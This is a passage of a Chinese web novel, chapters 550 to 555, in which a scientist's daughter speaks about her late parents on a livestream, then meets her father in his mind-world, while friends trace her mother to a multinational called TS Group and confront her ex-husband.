“大家都知道唐先生和苏老师生前一直很恩爱,有院士凭借唐先生就该做个袋鼠,然后走到哪里都揣着苏老师,两位老师之间的感情是炽热的真挚的。他们当初也经历过很多人的挑拨,但双方都是坚定不移的牵着对方的手一直走到了世界尽头。” “就像唐先生说的,是唐清江不能没有苏青莲,在苏老师离世后唐先生也在同天去世,是真正的死于同穴,甚至死前两人双手都是紧握的。” “我们为两位前辈的炽热爱情感动,也感谢两位这么多年为我们做出的贡献。” “我们今天邀请了唐愿老师来参加我们的节目,唐愿老师就是两位前辈唯一的后代,是京城大学的正级教授,同时是中科院的副院长,十年前就已经破格获得了上面颁发的中将军章,让我们有请唐愿老师!” 节目是直播形式的,台下都是掌声,直播间内弹幕刷的飞快,唐清江和苏青莲年轻时期的照片早就火爆全网,但唐愿一直很低调,很少爆出她的照片,这次一群人都想看一看继承了唐清江和苏青莲基因的唐愿是什么样完美的容颜。 伴随着掌声,唐愿终于上台。 她身上穿着的是研究员的白色长褂,脸上架着一副金丝边眼镜,一头长发随意的披散在脑后,抬头时镜头正扫到她身上。 身姿高挑纤细,直播镜头拍的是她的全身,第一眼就被她淡淡的处变不惊的气质所折服,最终目光不受控制的落到她的脸上。 那是一张与年轻时期苏青莲极为相似的容貌,但比起苏青莲却更为明艳。 明明是相似的一张脸,却与苏青莲的气质全然不同,看过苏青莲直播课的人都知道苏青莲风趣幽默,总是微笑的,但反观唐愿总是淡淡的,比起苏青莲她身上那种淡然的气质更像他的父亲唐清江。 真的很美。 是那种让人一眼看去便不想移开眼的惊艳的美。 心弦像是被撩动了。 怪不得当初上面那么多人都在追求唐愿,怪不得当初国外某国的皇室也对她青睐有加至今未婚。 主持人也是第一次见唐愿,整个人握着话筒的手都在抖,是激动的。 主持人是唐清江和苏青莲的粉丝,这次两位前辈同时去世她也非常难过几乎一整夜没有合眼哭了一整夜,现在看到唐愿,就仿佛透过她看到了那个爱笑的苏青莲和一直都淡然的唐清江。 直播间静默了很久,突然爆发式的刷屏。 【唐愿老师竟然是这样惊人的美貌吗!】 【我被唐愿老师的美貌震惊到看到路边的狗都要跟它对汪的程度啊!】 【唐愿老师!五十岁了!五十岁了!她五十岁还这么……这么漂亮这么年轻的吗!她哪里像五十岁!最多三十!】 弹幕都惊了下。 是啊,唐清江和苏青莲都去世了,他们唯一的后代能年轻到哪里去。 第550章 她在等一个人 弹幕疯狂刷屏,主持人的视线也一直留在唐愿身上不肯移开。 唐愿仍然是淡淡的样子坐到主持人对面的位置。 主持人还是有职业素养的,微笑的开口:“唐愿老师知道唐老师和苏老师的事迹被很多人羡慕称是真正浪漫的父母爱情吗。” 唐愿听主持人提到这个像是很轻很轻的笑了笑。 “我的父亲母亲他们之间是存在最单纯的真挚的爱。” “唐愿老师记忆里面有对他们之间的爱情有什么印象很深的事吗。”主持人问。 “印象很深的事啊,大概就是我的父亲每天醒来后都会对母亲说‘我爱你’,父亲说人的一辈子很短,每天说一句我爱你,一年也不过是三百六十五句我爱你,他会每天告诉自己一次眼前的是自己的爱人,要爱护她尊重她,要每天都比昨天更爱她一点。” “那个时候父亲经常在研究所,我经常能听到父亲每天早上打给母亲,叫她起床吃早饭不要赖床,然后会非常认真的说一句‘我爱你’,这是他们之间对于爱情的仪式感,更是独属于他们之间的浪漫。” “父亲对我说,一辈子那么短,也只够倾尽全力的去爱一个人,他很幸运的遇到了能跟他携手相伴一生的爱人。他说希望我也可以遇到对的人,如果真的遇到他,也要对他说‘我爱你’,让对方感受到她一直都存在的感情。如果没有遇到爱人,那就好好爱自己,要每天都更爱昨天的自己,要看清自己来时的路,要收好自己的心,不论有没有爱人。” “我的母亲呢,其实她的实力一直都被低估了,她的实力从不输给父亲,只是母亲的性格很跳脱。” “她遇到了我的父亲,父亲可以守着她护着她,所以我的母亲可以任性的开心的过完这一生,她是真的被宠成了小公主,父亲经常笑着说养了两个女儿。” “父亲真的很宠我的母亲,他能宠到什么地步呢?母亲很喜欢画裙子的设计图,但母亲不想碰针线,父亲就亲自学了后给母亲做了很多漂亮的旗袍裙,母亲会变着花样的穿到学校内,甚至母亲佩戴的玉簪和胸口的胸针都是父亲亲手打磨制作的。” “母亲喜欢吃的父亲总是能记得很清楚,他有时候会忘记自己但绝对不会忘记母亲,但他们是双向的爱,他忘记他自己,母亲会记得。” “父亲和母亲之间其实也会有争吵,不过总是一些小事,譬如母亲早上忘记吃早餐,父亲会生气,到最后母亲会低头哄父亲。” 唐愿一句一句的提起回忆脸上带着的都是笑意。 主持人听着眼眶又有些湿润,但脸上是带着笑的。 弹幕都在因为两人这段感情而感动。 主持人笑着开始Cue下个流程,挑选直播间内观众的问题回答。 【唐愿老师,你的父母这样恩爱,你对现今的高结婚率低离婚率怎么看呢?】 唐愿微微垂眸,任然是淡淡的模样:“提出这个问题的同学应该去查一下我父母结婚那年女性地位与现今女性地位排名。女性地位逐年下降,吃人的时代活着都是艰难的谁还会去想情爱。” “就像我父亲说的,妻子是伴侣是爱人,是共度一生的人,不是仆人不是生育机器不是任何人的依附。那些人什么时候能有我父亲这样的思想才配结婚。” “我的父亲先是一名男性然后才是一名科学家。不必说自己不配与我父亲相比,你们首先都是男性,我父亲能看透的能想通的你们一样能想通。” 唐愿回答的问题犀利又真实。 主持人都没想到唐愿这么敢。 唐愿这话一出弹幕有人刷【女人不就是要被拴在家里生孩子吗?唐愿这样的这么大年纪的白给我都不要,五十岁都不能生了吧,不过如果年轻个二十岁我还是愿意花钱买回家的,她基因这么优秀怎么也能生个接班人出来。】 【唐清江真是没用,这么多年就这么一个女儿,还是这么个叛逆不肯结婚的女儿,唐家都要绝后了。】 【都是老女人了没人要了。】 弹幕不时有这种言论刷出来。 唐愿看着大屏幕眼神暗了几分,主持人脸色也气愤。 但唐愿只是抬眸看了主持人一眼:“麻烦让导演联系我的助理把我的电脑拿给我。” 主持人被她此刻带着冷意的眼神镇住,她才说了这话已经有工作人员将一台笔记本电脑递上来。 唐愿打开电脑飞速的在键盘上敲击,很快的组成一串串代码,像是定位。 时间一点点过去,约莫是五分钟后,她已经设计出一款软件。 “大家知道我有军章,并受国家保护。” “我已经设计出一款软件,所有在弹幕直播间乃至各个平台发表一些侮辱性言论的人不论年纪不分大小都会收到我的律师函。” 弹幕静了很久。 唐愿才缓缓开口:“删除评论没有用的,我的软件会记录下所有的行动轨迹,有历史记录。” “侮辱我,侮辱我的父母,我不会轻飘飘揭过的。” 弹幕又炸了,但是这次没有人敢骂了,全都是夸的,夸她飒爽。 那群人不敢骂是因为哪怕再瞧不上唐愿是女人也深知唐愿的手段,他们害怕。 说到底他们只是比唐愿多长了个没用的玩意儿,家室智商没有一样比得上唐愿的,哪来的脸去喷她。 眼见着节目即将结束,主持人赶紧控场将话题拉回来。 “刚才出现了点小插曲,我们唐愿老师已经解决了,那么接下来请唐愿老师回答最后一个问题,请问唐愿老师为什么不肯结婚呢,您身边的追求者应该都非常优秀的。” 歪瓜裂枣就算了,唐愿接触的人群都不一样,没有直播间那些臭虫。 唐愿不由得伸出手放到自己胸口,像是很轻的抚摸了下,感受到心脏在跳动。 “我好像在等一个人。” “如果不是那个人的话我没办法接纳其他人,我的爱好像只给了那个人。” 第551章 你好啊,阿愿 “我没有见过他,甚至没有任何记忆,但我就是知道有这样一个人,或许是隔着万千数据跟另一个人灵魂共鸣。” “他在等着我来爱他,我也在等着他来爱我。” 主持人忍不住在最后问了句:“那……唐老师和苏老师去世您会不会很难过,他们只留下了你一个人。” 唐愿面对镜头笑的很温柔。 “我不难过,他们是一起走的,没有丢下对方,这就是最好的结局,我会为他们处理身后事,父亲未完成的研究我会继续,母亲未完成的著作我会继续编撰。” “他们早就教会我面对很多事,更教会我要爱自己,所以我只会认为他们同棺而眠,这是最大的幸福。” 直播终于在这里划上句点。 网络上因为唐清江和苏青莲去世的事刷屏。 唐愿参与节目直播的事情也频频上热搜。 有人认同唐愿的观点但也有人不认同,虽然那不认同却不敢破口大骂,因为他们都知道唐愿的身份摆在这里。 所以那些人就是欺软怕硬,他们可以欺压女性,但换做是唐愿这样有身份有地位的人他们就怕了。 …… 但就是这种时候,唐家村有个叫唐有财的人不知道从哪里找到了记者哭求着要让唐清江和苏青莲的尸体回到唐家村安葬,并开口自己是唐清江的亲侄子,开口提到唐家村是唐清江的出生地,张口闭口都是落叶归根要接唐清江回家。 {唐清江的侄子}这一标签就是目前的流量。 唐有财的生平也被扒出来。 唐有财的父亲是唐清江的弟弟唐年,他的父亲唐年是劳改犯几年前因病去世,唐有财也经常小偷小摸进过局子,此人自私贪婪,以前因为唐清江在他不敢作妖,但现在唐清江死了,他就敢跳出来了。 唐愿当然看到这条消息,她将唐年做过的那些事以及唐有财的生平全都放出去。 她不愿让自己的父母死后都不能清净。 她知道父母不喜奶奶更不喜唐年,他们是绝对不想回到唐家村的,她不会让唐有财如愿。 料被爆出来后唐有财本打算靠着{唐清江侄子}的身份火一把然后开直播带货的,没想到很快就惨遭封杀,被人押回到唐家村,去任何地方都有人盯着监视,再不敢做梦去碰瓷唐愿。 那些侮辱过唐清江苏青莲和唐愿的人也真的被她告上了法庭付出了应有的代价。 她往后余生都在进行科研,直到生命最后。 她没有遇到她的爱人,但她相信那个人会在某个地方等着自己。 他们终会相遇。 …… 唐愿……不,许愿从一片混沌中醒来,那仿佛是一片浩瀚宇宙,她漂浮在空中的瞬间觉得自己格外渺小。 她觉得头开始疼,之前经理过的那个世界发生的事情清晰的印在自己脑中。 她进入了唐清江的精神世界,在那个世界她有了父亲有了母亲,她在父母的关爱下长大,像是弥补了她曾经受伤的的童年。 她有瞬间的恍惚。 周围的景色仿佛很快褪去,像是进入了一个封闭的空间。 那是一套房子,很眼熟的房子,是她和唐清江苏青莲一起住了一辈子的房子。 她就这样出现在客厅,熟悉的景象令她心跳都是乱的。 桌案上放着笔记本,是唐清江的笔记本,茶杯也是他的。 如果没猜错……这里就是唐清江的精神世界吗? 许愿怔住,下一秒就听到身后传来很轻的温柔笑声,然后头被轻轻的揉了揉。 “你好啊,阿愿。” 他的声音很温柔,夹杂着浓厚的情感。 她慌乱的转过身,对上的就是唐清江年轻时那张熟悉的面容。 对方一如记忆中的样子,温柔体贴却又强大,眼睛里带着笑意。 许愿还没有完全从那段记忆中走出来,看到他的一瞬间“父亲”两字就已经脱口而出。 她怎么会不爱唐清江呢? 那个世界,唐清江诚然爱着苏青莲,但是他也同样爱着她。 他教会她爱自己,他永远都会尊重她,不管她多大,都会将她当成是独立的人,从不会用所谓的父亲的权威来压迫她。 他们之间说是父女,却更像是亲密无间的朋友。 “还是好乖。” 唐清江仍然笑着看她。 他为许愿冲泡了一杯红茶,温度适宜才放到桌案上。 “你……好像早就知道我的存在。” 许愿顿了下忍不住开口询问。 那个世界她被唐清江养大,对他是依赖的是信任的,所以有任何疑问都会直接开口,因为她知道唐清江不会有所隐瞒,他会告诉她答案。 “青莲在我面前提起过你还有小逸。” 唐清江真的说了。 许愿没想到他真的能感知到外面发生的事,有些惶然。 “她总是在害怕。”唐清江说:“她从小没吃过苦,一直被娇养着长大,她是真的爱情至上所以可能才会忽略了你和小逸,是她的错,她在害怕我会怪她。” 他像是在无奈:“她爱我,但是却一点都不了解我。” “我知道她做错了事,但我不会怪她,我会跟她一起弥补。”唐清江看着面前的许愿:“阿愿,她其实也很在乎你,你能感受到对吗。” 她当然能感受到苏青莲的在意。 哪怕知道苏青莲心里装着的都是唐清江,但也绝对有她的一席之地。 她至今都还能回忆起那段记忆中,自己幼年时期她为了养活她省下口粮自己却瘦的几乎皮包骨。 如果不在乎,如果真的只爱她自己,她不会做到这一步。 她只是有些不甘心罢了。 受了那么多苦,好像轻飘飘就揭过了。 “阿愿,我知道你会伤心难过,我不会以父亲的身份逼你做什么,如果你还是会厌恶还是会恨,我也会让青莲远离你不去打搅你的生活。” “但是我更希望你能跟过去的自己和解,开心的生活。” 还是记忆中的那个父亲,还是一如既往的教她爱自己,哪怕对上的是他的爱人。 许愿眼眶突然红了,她声音似乎带着哽咽:“我就是委屈。” 第552章 她不是合格的母亲 许愿会觉得委屈。 苏青莲爱唐清江她可以理解,她的父亲是真的很好,经过那个世界都能感受到唐清江作为男性的人格魅力,他不会低看任何一个人却也不会因为身份高看谁,他做任何事都分得很清,所有的真心所有的感情都给了她和苏青莲。 苏青莲爱过这样的父亲,她会一直爱着他无法看到其他人那真是再正常不过的事。 她是一个合格的称职的爱人,可她不是一个称职的母亲。 从最开始她想要孩子的心就并不纯粹。 她做好了最坏的打算,她担心唐清江没有后代,哪怕她知道唐清江还活着还有意识会阻止她做这种事可她还是义无反顾的偷取了唐清江的基因,通过技术手段有了她和苏逸。 他们的出生是因为爱吗? 是因为爱,但只是苏青莲对唐清江的爱,而不是对他们的爱。 他们只是用来承载他们基因传承的下一代,就像是被制作完好的传承工具。 因为她的相貌像她并不像唐清江,所以她才会又通过技术手段孕育出苏逸。 她想要的就是一个唐清江的影子。 当得知唐清江没有死后,凭借一己之力算计了那些设计过唐清江的人,又搞垮了上流圈层偷走了他的身体,却独独留下一个还没有任何反抗手段的她和牙牙学语的苏逸。 任何旁观者去看苏青莲都会说她是最清醒的女性,她敢爱敢恨获得潇洒自由却又有着反抗一切不公的能力掀翻了为她和唐清江设计下的所有棋局。 她也觉得苏青莲活的清醒敢爱敢恨,她甚至真的很爱她自己为她自己而活。 就是因为太自我,所以才会忘记了她和苏逸并非只是传承的工具。 他们是人,是有感情的,那些曾经加注到身上的伤害不是能够轻易磨灭的。 优秀的男性会欣赏她爱慕她,聪明独立的女性会羡慕她崇敬她,雄厚的资本也会被“苏青莲”三个字而震慑到。 她从来不是乖顺的羔羊,她不出手时看着恬淡美丽,一旦出手却招招致命。 上个世界中,苏青莲没有做什么惊天动地的大事是因为她的父亲一直活着,而且将她保护的很好,所以她收敛了自己的锋芒,却也没有忘记她自己的梦想,编撰的书籍足以给教育界带来震撼。 就像现实世界中,她父亲还活着的时候,苏青莲也是如此,温柔活泼,却又可爱骄纵,由他父亲宠着,夫唱妇随的。 但唐清江出事后,那个杀伐果断的苏青莲被释放出来。 所以许愿一早就知道苏青莲不是什么简单人物,她像是一把开封见血的利剑,只有唐清江是她的刀鞘能够锁住她带来的危险,潜移默化的改变她。 任谁看到苏青莲,知道她的过往都会夸一句真厉害啊。 或许那些人知道许愿和苏逸是她的孩子,大抵也会夸一句不愧是苏青莲的孩子。 事实上他们确实是这样夸的。 可有几个人设身处地为她和苏逸想过呢? 盛景炎懂她心疼她是因为作为爱人的心疼,可父母的爱呢,早就缺失的属于父母的爱就能被轻易忽略吗? 而且,苏青莲还在这里有了两个养子一个养女。 唐文晞早年确实悲惨,可她和苏逸的童年有好到哪里去吗?她就这样收养了唐文晞他们,而她和苏逸作为苏青莲的血脉相连的孩子却与她远隔重洋,甚至根本不知道这个母亲的存在。 可不可悲,嘲不嘲讽。 这样,她怎么会不委屈? “我知道你的委屈,所以对于青莲你可以选择不原谅,只要你开心做出怎样的选择我都会支持你。” 唐清江眼底盈满了温柔的笑意,他动作很轻的揉着许愿的头。 “任何人做错了事都需要付出点代价的,爱意是对等的,不是吗。” 爱意是相互的。 苏青莲以前没有爱过她,那又怎么能勉强她去爱这样陌生的母亲。 他一样会爱苏青莲,但他不会逼迫自己的女儿去完全放下自己内心的委屈去接受自己的爱人。 “阿愿,我希望你可以开心,不要因为那些事而困在原地。” 许愿抬头望着面前温柔含笑的父亲。 原来她不能理解“父爱如山”这个成语,她见过太多虚伪自私可笑的男性,不爱妻子不爱子女只爱他们自己。 可见到唐清江才知道,原来真的有这样的父亲。 像是一座巍峨高大的山,遮挡住了所有恶意和冷意,只将温暖的一面留给她。 她知道自己的父亲并不像表面看的这样温和,她的父亲只是长了一张温润的面容,其实父亲的内心充斥的都是冷意。 可他愿意宠着她。 这是她的父亲。 梦寐以求的,一直想拥有的父亲。 “父亲,我突然觉得,她有些事情其实做的很对。” 许愿突然有些释然的笑了。 “苏女士做错了很多事但也做对了很多事,她救了你,让我能够有了一个爱我的父亲。” 当初苏青莲大抵也是不容易的。 纵然那时的苏家底蕴丰厚,家中资产在A市排名能在前三,但说到底也只是商人,跟当时全盛时期的唐家是无法抗衡的。 苏青莲当时为了有他的后代才会特意找了许镇江这个相貌肖想唐清江的替代品以此来模糊视线,这样就算有了孩子也可以不被怀疑偷取过唐清江的基因。 后来盗取唐清江的身体更是需要一番谋划,如果做不好万全措施,她怎么敢带走唐清江。 所以她选择了唐清江,放弃了她和苏逸。 她那么爱她的父亲,当然会选择父亲。 也是因为她当初的选择,让她现在多了一位爱她的父亲。 唐清江笑了笑,上个世界相处那么久,他当然了解许愿,知道她是真的看开了而不是装出来的。 “那么,阿愿介意跟我谈谈那位盛先生吗。”唐清江开口问许愿。 他还是在看着许愿,只是提到盛景炎时眼底的温柔都散去几分,像是夹带着几分淡然的冷感。 第553章 他想送她出嫁 “父亲怎么会知道阿炎?” 许愿怔了一瞬,但也只是恍惚了片刻便反应过来。 唐清江说过他能听到苏青莲说的话,能感知到外界发生的事,这说明苏青莲曾经对唐清江提到过盛景炎。 似乎是看到许愿明白了什么,唐清江才继续开口:“他对你好吗。” 盛景炎对她好吗? 当然是好的。 听自己的父亲提到盛景炎,许愿眉眼都跟着弯了弯:“他对我来说就像是父亲对苏女士那样重要。” 这样的比喻唐清江听了也只是面容淡漠,似乎是对盛景炎并没有多少好感。 其实苏青莲早就对他提到过许愿和苏逸,他知道自己有了后代,他那么聪明那么了解苏青莲,怎么会猜不到苏青莲做了什么,就是因为猜到了所以才会心疼她一个人背负良多。 但知道自己的孩子被留在国内后他是会难过,他理解苏青莲对两个孩子可能没有那样深的感情,但这一点唐清江和苏青莲是不一样的。 因为从最开始就不是许愿和苏逸选择出生在这世界上。 他们是被苏青莲通过科技手段创造出来的,最初的目的就不纯粹,他们没有任何选择的机会。 如果只是陌生人,他不会有多少感情,但他们不一样,他们是自己和苏青莲基因诞生的子嗣,他会在乎,会想弥补。 所以他逐渐接受了自己有了孩子这件事,他总听到苏青莲提起他的阿愿长得跟她很像,但是自尊心很强爱上了一个不该爱的人,他那时听到后想说一句为什么不阻止,可他也清楚,情缘这种东西不是谁轻易能斩断的。 那是她自己做下的选择,那是他们的孩子,必定有自己的想法。 果然,他的阿愿经历了一场失败的婚姻,收到了前所未有的伤害。 她明明那样优秀,却还是被男人伤害。 那段时间他的精神力都不稳,因为无法接受这件事,结果不久后苏青莲告诉他,他的阿愿有了新的爱人。 这些年苏青莲总会将大大小小的事都说给他听。 她会讲起唐文晞三兄妹,也会提起许愿,他知道许愿建立了盛华,知道许愿面对爱情的迷茫,同样也知道了她的新爱人盛景炎。 他不是不能接受,只是太快了。 他担心许愿再次受伤。 苏青莲对她其实是会忽略很多事,所以知道许愿进入他的精神世界后,那个世界里他一次又一次的告诉她要爱自己,没有任何人比自己更重要。 他也很想亲口问她,盛景炎对她好不好。 许愿只是想了片刻便已经做出了回应,她眼底仍然带着笑意,好像提起盛景炎就会涌出难以言喻的幸福感。 “阿炎对我很好,她不仅是我的爱人,更是我的灵魂伴侣。” 灵魂伴侣。 她想说盛景炎懂她。 他们的经历,他们待人接物的态度,他们的世界观,早就说明了他们才是真正的灵魂伴侣。 唐清江不会说“他配吗”这种话。 他像是无奈:“以后我会跟他见面,你们结婚了吗。” 许愿顿了下。 只是订婚,并没有结婚。 她开口:“阿炎他的腿还没有治好,我会治好他,等他站起来后向我求婚。” “介意等我回到A市后再结婚吗。”唐清江没有将自己的想法强加给许愿,他只是在询问:“我想可以的话,我希望送你出嫁。” 国内结婚,大多数都是父亲牵着女儿的手将它送到新郎手中。 许愿愣了片刻,倏而点了点头。 “所以父亲……快醒了吗。” 唐清江点头安抚她:“不会等太久。” “父亲可以把人带到你的精神空间,那有告诉苏女士吗。” 她想问的是,有在这里见过苏青莲吗。 “她总是长时间的沉迷在全息世界中,如果再将她拉到这里可能会对她有所损伤。”唐清江这样的回答,就已经告诉了许愿答案。 他没有在这里见过苏青莲。 苏青莲研究出全息舱后就经常沉睡在全息舱中,总是连接脑域神经,一次次的闯入他的精神世界想要唤醒他。 许愿只是来一次,可以承受且不会造成任何伤害。 但苏青莲却可能会受伤。 “要我告诉她吗。”许愿问。 唐清江提到苏青莲眉宇之间都是温柔之意。 “阿愿还是好乖。” 她明明不喜欢苏青莲甚至是讨厌,却可以做到这一步,她总是这样善解人意的。 他说着,像是感应到了什么,抱了抱她,开口:“有人来接你了,你该出去了。” …… 十天前 A市 许愿已经离开整整二十天,事实上从许愿离开后的第五天段星河就已经接受不了,顾凛也特派了人来询问情况。 事实却是没有任何人知道许愿在什么地方。 他们唯一知道的是许愿去见苏青莲。 苏青莲的反侦察手段也好,信息数据分析也好,都是顶尖的,就算是段星河也不能很快解开那一串串代码。 如果不是苏青莲故意暴露,这世界上几乎没有几个人能直接查出她的所在地。 除非对方是唐清江。 所有人都在等许愿的消息,甚至已经又认错传出许愿担心会输给姜明珠所以逃到了国外,连这种谣言都出来了,且传出谣言的还是盛世的员工,起因是已经在盛世多日未见到许愿,偏偏这件事很多人都信了。 因为许愿对上的是一直被誉为天才的姜明珠,所以他们觉得许愿退缩了害怕了。 传出谣言的员工被立刻开除,盛世也放出消息洗清了那些舆论谣言。 但许愿真的离开太久了,不只是周围人开始怀疑,就是盛世的股东都担心许愿不打算继续管理盛世,好在盛华的合作没有暂停还是给了他们一颗定心丸。 段星河已经忍到了极限,不打算继续忍了。 “把许愿收到的所有关于苏青莲的代码数据都给我,哪怕不能查到具体的所在地也能查到跟她有交涉的人,总能查到她在什么地方。” 可以说,目前或许只有段星河才有能力查到跟苏青莲相关的消息。 第554章 唐文晞 段星河的意思很明显了。 他需要那些更精细的数据来算出一些坐标查到跟苏青莲有可能联系过的会是谁,。 经过两小时的演算,段星河查到了常出现的坐标位置。 【TS集团】 最终经常停留联系的坐标竟然会是“TS集团”。 “TS集团”海外享誉盛名的跨国企业,但没有人扒出背后的董事长是谁,一直面对大众的都是唐家三兄妹。 唐文愈,唐文欣,唐文晞。 其中唐文愈主负责法务部,唐文欣负责并购收购,唐文晞则是TS明面上的总裁,素有投资之神的称号,被誉为华尔街金融之子。 TS最出名的不仅是其庞大的人脉圈和资金流,更出名的就是唐家三兄妹,他们的样貌是出名的明艳迤逦,哪怕是男性面容也是带着雌雄莫辨的美感,曾有人将薛酒与唐家兄弟做比较,薛酒是出了名的美人,但这三人放一起只能说是各有千秋,不分上下。 唐文愈冷淡、唐文晞温润、薛酒明艳,此三人曾被GAY誉为圈内天菜,不分男女都会因为那样跨越性别的美貌而被他们吸引。 查询的最终结果竟然是TS,这是谁都没有想到的,却又觉得是在情理之中的。 TS,可不就是唐和苏的拼音首字母缩写吗?如此简单好猜却从没有人敢往这方面猜。 什么TS集团,倒不如直接说唐苏集团了。 “竟然是TS集团。”段星河脸色微变,但也只是顿了一瞬。 他有唐文晞的名片。 所以说其实有可能苏青莲很早之前就安排唐文晞接触过他,并不是完全的忽略他无视他? 段星河默了片刻,翻找出很早前的名片,看着上面标印的联系方式,段星河根本没有做更多反应,直接打过去。 是海外电话,但是能打通。 大抵是指过了半分钟,就穿来了一道温柔男声。 段星河看过唐文晞的视频资料,听出了是他的声音,没想到对方留下的联系方式是他的私人电话。 “我是段星河。” 对面好像是没想过他会打过来一般,不过还是开口:“段老师有什么指教。” “许愿在哪里。” 对面似乎没想到他会突然提到许愿,像是沉默了片刻才终于开口回应:“这是个好问题,不过这是许愿自己做出的选择决定去见苏女士,我只能说许愿会回来,只是时间会稍微有些久。” “段老师应该算了解苏女士曾经的研究,你知道许愿不会有什么意外。” “苏女士不会伤害她。” 段星河像是被气笑了:“已经过去快十天,没有她的任何消息,你是认为许愿在国内就没有其他事了?而且她和姜明珠还有个约定,一个月为期需要更新的智能系统比赛还需要许愿做回应,她不出现只会被人认为怕了姜明珠。” “你该知道这对许愿有多重要。” 段星河一字一句说的都很明白了。 唐文晞像是很轻的叹了口气。 “苏女士说过,如果出现这种情况,盛先生可以来见我,我会安排盛先生去见苏女士和许愿。” 盛景炎听到此处没有任何思考开口道:“我去。” 段星河握紧手机,感觉到自己被排斥在外,顾凛和刑从景对视一眼面上的表情也微微有些变化。 倒是段星河此刻目光都冷了。 “所以为什么我不可以。” “段先生难道不明白吗,如果段先生来到这里,一定能破解数据密码找到苏女士的所在地,这并不算安全,因为段先生的不可控性太强了。” “更何况,盛先生才是许愿的爱人,不是吗?” 唐文晞的话令段星河有一瞬的哑然。 事实上他确实一直在尝试破解数据和代码。 “如果盛先生做好了准备……我会亲自带人去接盛先生。”唐文晞似是跟身边助理提醒了什么,然后继续道:“时间的话大概是明天上午九点左右,我会亲自带人去盛世。” “好,我会将工作都安排下去。”盛景炎直接应下。 电话自此挂断。 得到准确消息的顾凛和刑从景不再担忧,只有段星河内心带着点不甘。 第二天唐文晞准时来到盛世,倒是声势浩大,提前联系国内批复了航行令,他是坐TS的私人飞机来的。 TS总裁亲自来盛世的消息也立刻传出去,热搜又是一波动荡。 TS的实力摆在这里,盛世的股票直线上升,只因有可能与TS合作的机会。 这下也没有人再吐槽许愿不在国内的说法了,有人发散思维已经给出了回应,许愿不在国内很可能是去见了TS的人谈合作,并不是临阵逃脱。 那毕竟是许愿,怎么会临阵逃脱呢。 网络上的事暂告一段落。 唐文晞带着保镖踏入盛世就被人带进了会客室,进入会客室就对上房间内众人的视线。 不止有盛景炎,段星河、顾凛、刑从景、乃至薛酒和陆斯年都在。 但唐文晞表情不变,仍是那副温润的淡然笑模样。 “初次见面,各位好啊,我是唐文晞。” 他很淡定,显得愈发从容。 任谁见了他大抵第一眼都会被他那张精致的面容折服。就像外网盛传的,唐文晞“盛世美颜”。 顾凛老狐狸的与唐文晞寒暄几句,唐文晞见招拆招,到底是跟在苏青莲身边长大的,怎么可能被轻易牵着鼻子走。 薛酒懒懒散散的倚靠在椅座上,他又把头发染成银色了,衬得整个人皮肤白的像雪一样,那张脸都显得过于妖异的美感,见到他的不认识他的,大抵会猜测他是一名艺人,很少有人能猜到他会是盛华的高层。 他的目光不咸不淡的落在唐文晞脸上,他知道许愿不会出事,心是早就定下了。 就是……早听说有人开了个什么选美赛道,说这位唐纵跟他一样“漂亮”,他有点想见识见识这位到底漂亮到什么程度。 见了真人,上下打量一番。 黑头发加正装,面上带着公式化的虚伪笑容,没创意。 薛酒心道,他不管,反正他最好看,他赢了。 第555章 私下聊 唐文晞没打算在国内待太久,本意也只是带盛景炎离开,来这一趟也算是让某些人知道他们没有什么恶意。 离开时,唐文晞敏锐的感受到有几束目光一直落在自己身上,他经历过太多,自然能识别出视线中大抵夹杂的情感。 那几束目光似乎不带多少恶意,只是带着探寻。 唐文晞循着着方向看过去,入目的是面容冷峻的高大男人,而他身边的男人却是相貌儒雅脸上带着公式化的微笑,似是感受到了他看来的目光,对方扶了扶鼻梁的眼镜,眼底的笑意都深了几分。而他们身后站着的女人脸上带着几分不耐,样貌是那种精致艳丽的,气势也完全不输任何人。 唐文晞认得他们。 傅京礼,他身边的人是容浔,而那个女人就是姜明珠,跟许愿有过约定比赛的女人。 他当然会知道傅京礼,那个伤害过许愿的前夫。 唐文晞脸上温和的表情都在此刻有些许凝固。 他们怎么会来? 唐文晞却也只是带着半分疑惑,倒是傅京礼几人已经逐渐走近。 唐文晞脸上还是那副柔和模样,明明是在笑着,但身上就是在散发着冷意。 傅京礼走近,目光落在唐文晞脸上:“许愿在什么地方。” 他是为许愿来的。 这些年都没有任何许愿的消息,就好像突然之间在A市消失了一样,他会慌会怕,会担心许愿遭受到意外。 在得知TS的唐文晞去了盛世后就猜测到大概的原因,所以根本没有想更多就带着容浔和姜明珠来见唐文晞。 他需要知道许愿没有出意外。 倒是容浔目光落在唐文晞身上,目光有些古怪,看着他像是看到了同伴那般的目光。 唐文晞面色平静的看着他,倏而笑了。 “请问你是以什么样的身份来问我这个问题。”唐文晞并未在意容浔,深沉的目光盯着傅京礼,说出带着攻击性的话。 傅京礼最听不得什么话? 最听不得那些人提到的就是他跟许愿的关系。 因为他自己心里清楚,自己跟许愿之间早就没了任何关系,一再的提到她们之间,只会一遍又一遍的揭开他的伤疤。 片刻后,傅京礼嗓音带着点哑意:“朋友。” 唐文晞笑了。 笑过后眼神愈发冷了。 “朋友?你配吗。”唐文晞当然知道许愿经历过什么,他虽然跟许愿没有血缘关系更没有一起长大,但许愿是苏青莲的女儿,且长了那样一张跟苏青莲相似的面容,他当然会护短将许愿看作是自己的亲人。 自己的妹妹被眼前的人那般侮辱,他还没有去找他,他却主动找上来了。 唐文晞话落,已经狠狠挥出一拳砸向傅京礼,傅京礼没有躲,倒是容浔眼疾手快上前一步握住唐文晞的手,那本是带着虚假笑容的脸上也沾带着凉意。 “唐先生,你过分了。” 唐文晞也知道自己冲动了,他正要说些什么,却听到坐在轮椅上的盛景炎声音带着寒意开口:“离她远些,不要再来打扰她。” 不等傅京礼有任何回应,容浔就已经收回手,似是挡在傅京礼身前,开口的话带着明显的恶意。 “盛总这话说的倒是有趣,可盛总最该感谢地难道不是我们傅总吗?说起来许愿最先爱上的也是我们傅总。” 容浔眼底嘲意尽显。 “哪怕许愿现在选了你,现在爱你,你也不会是唯一,因为她这辈子都会记得自己第一个爱上的男人,而我们傅总才是许愿真正意义上的初恋。” “我们傅总对许愿来说才是刻骨铭心。” 苏逸听到这话都已经气笑了。 他冷嘲开口:“我实在不懂,感情的背叛者会认为自己被记一辈子是什么好事吗?” 苏逸实在听不得容浔说这些,傅京礼对许愿造成的伤害难道他们不清楚吗? “我姐姐想到你就只有痛苦,但凡你还有良心就不该再来继续骚扰她。” 苏逸觉得这就是骚扰。 容浔脸上的笑意未消散,却是目光阴冷的盯着他看了几许。 